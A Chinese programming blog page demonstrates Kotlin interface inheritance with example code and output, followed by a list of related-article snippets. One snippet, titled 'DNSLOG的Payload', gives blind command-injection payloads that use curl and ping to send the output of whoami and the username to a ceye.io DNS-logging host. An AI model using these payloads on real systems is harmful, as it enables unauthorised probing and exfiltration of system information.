kotlin 接口继承_Kotlin程序| 接口内的继承示例

news/2024/7/20 1:21:26 标签: java, 接口, 多态, 小程序, 编程语言

kotlin 接口继承

接口内的继承 (Inheritance within Interface)

  • An Interface Derive from other interfaces.

    从其他接口派生的接口

  • The derived interface can override super interface members or declare new functions and properties

    派生的接口可以覆盖超级接口成员或声明新的函数和属性

  • Kotlin class implementing such an interface are only need to define missing implementations

    实现此类接口的Kotlin类仅需要定义缺少的实现

程序演示了Kotlin中接口内继承的示例 (Program demonstrate the example of Inheritance within Interface in Kotlin)

package com.includehelp

// Declare Interface
interface AA{
    // Abstract property
    val count:Int

    // Abstract methods
    fun sayHello()

    // Method with implementation
    fun sayGudMorning(){
        println("Gud Morning, IncludeHelp !!")
    }
}

// Derived interface from another super interface
interface  BB:AA{
    // Abstract methods
    fun sayBye()

    // Override Interface abstract methods, 
    // declare into super interface
    override fun sayHello() {
        println("Hello, IncludeHelp !!")
    }
}

// Declare class implementing interface
class IncludeHelp:BB{
    // Override abstract property
    override val count: Int
        get() = 100

    // Override Interface abstract methods
    override fun sayBye() {
        println("Gud Bye, IncludeHelp !!")
    }
}

// Main function, entry point of program
fun main(){
    // Create instance of class
    val includeHelp = IncludeHelp()

    // Call method
    includeHelp.sayGudMorning()

    // Call method
    includeHelp.sayHello()

    // Call method
    includeHelp.sayBye()

    println("Abstract Property : ${includeHelp.count}")
}

Output:

输出:

Gud Morning, IncludeHelp !!
Hello, IncludeHelp !!
Gud Bye, IncludeHelp !!
Abstract Property : 100


翻译自: https://www.includehelp.com/kotlin/example-of-inheritance-within-interface.aspx

kotlin 接口继承


http://www.niftyadmin.cn/n/1255673.html

相关文章

linux的分区

一、分区 挂载点是指类似一个盘名,但是根目录(/)就必须有一个挂载点,挂载点能够起到隔离安全的作用swap分区一般是内存的2倍,交换分区/boot的挂载点,就是当磁盘过大时,怕找不到启动盘而设置的挂…

python数据分析-数据处理

数据导入: 导入csv from pandas import read_csv;df read_csv(D://PA//4.1//1.csv) 导入文本,要转成UTF-8无BOM格式: from pandas import read_table;df read_table(D://PA//4.1//2.txt) 导入excle from pandas import read_excel;df read…

duration java_Java Duration类| 带示例的multipliedBy()方法

duration java持续时间类multipliedBy()方法 (Duration Class multipliedBy() method) multipliedBy() method is available in java.time package. 在java.time包中提供了multipliedBy()方法 。 multipliedBy() method is used to multiply this Duration by the given value.…

iview 的事件绑定

iview 内的组件样式是不错,有时候我们想用它且绑定某个事件: 比如,我们使用了步骤条组件(Steps),然后绑定点击事件,实现每次点击某个步骤条内的step 就显示此step的具体信息, 1 …

avr控制电机运行_AVR | 使用电机驱动器运行电机

avr控制电机运行The coding used here will be similar to the last coding in which we used to run two motors along with their individual switch. 此处使用的编码将类似于上次编码,在该编码中,我们曾经同时运行两个电动机及其各自的开关 。 The c…

DNSLOG的Payload

命令执行处 linux curl http://ip.port.b182oj.ceye.io/whoami ping whoami.ip.port.b182oj.ceye.io windows ping %USERNAME%.b182oj.ceye.io 1.//变量 类型 描述 2.//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。 3.//%…

c语言编程题目和答案_C编程演员类型能力问题和答案

c语言编程题目和答案This section contains Aptitude Questions and Answers on Cast Typing, Basically in C programming language there are two types of cast type - Implicit and Explicit. 本部分包含有关Cast键入的能力问题和答案,基本上,在C编程…

eclipse 忽略 target 设置

从网上当了好多资料,汇总一下分为三种方法,全部执行后target仍存在但是不再影响项目了 方法一: 在 Windows -> Preferences -> Team -> Ignored Resources里点 “Add Pattern”, 然后把 target 添加进去就可以了&#xf…